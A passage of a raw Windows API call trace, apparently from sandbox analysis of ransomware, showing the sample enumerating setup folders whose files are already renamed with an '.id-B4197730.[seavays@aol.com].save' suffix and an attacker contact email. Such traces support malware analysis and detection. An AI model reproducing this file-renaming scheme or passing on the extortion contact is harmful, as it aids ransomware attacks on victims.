lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.300] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.300] FindClose (in: hFindFile=0x72a848 | out: hFindFile=0x72a848) returned 1 [0158.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.301] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0158.301] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.301] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a448 [0158.303] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.303] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76e2aad, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.304] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x800288c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.304] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.304] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.304] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0158.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.305] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0158.305] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.305] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0158.307] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.307] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.308] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x772ef7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.308] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.308] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.308] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0158.309] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.309] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0158.309] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.309] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a6c8 [0158.315] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.315] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.315] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7da026f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7da026f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7da026f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.316] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.316] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.316] FindClose (in: hFindFile=0x72a6c8 | out: hFindFile=0x72a6c8) returned 1 [0158.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.317] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0158.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.317] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a6c8 [0158.320] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.320] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dc6520, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.320] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.320] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.320] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.320] FindClose (in: hFindFile=0x72a6c8 | out: hFindFile=0x72a6c8) returned 1 [0158.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.321] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0158.321] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.321] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a6c8 [0158.324] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.324] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dec7e1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dec7e1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.324] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7eab335, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.324] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.324] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.325] FindClose (in: hFindFile=0x72a6c8 | out: hFindFile=0x72a6c8) returned 1 [0158.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.325] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0158.325] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.326] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a848 [0158.497] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.497] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ed1893, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.497] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ef7aab, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.498] 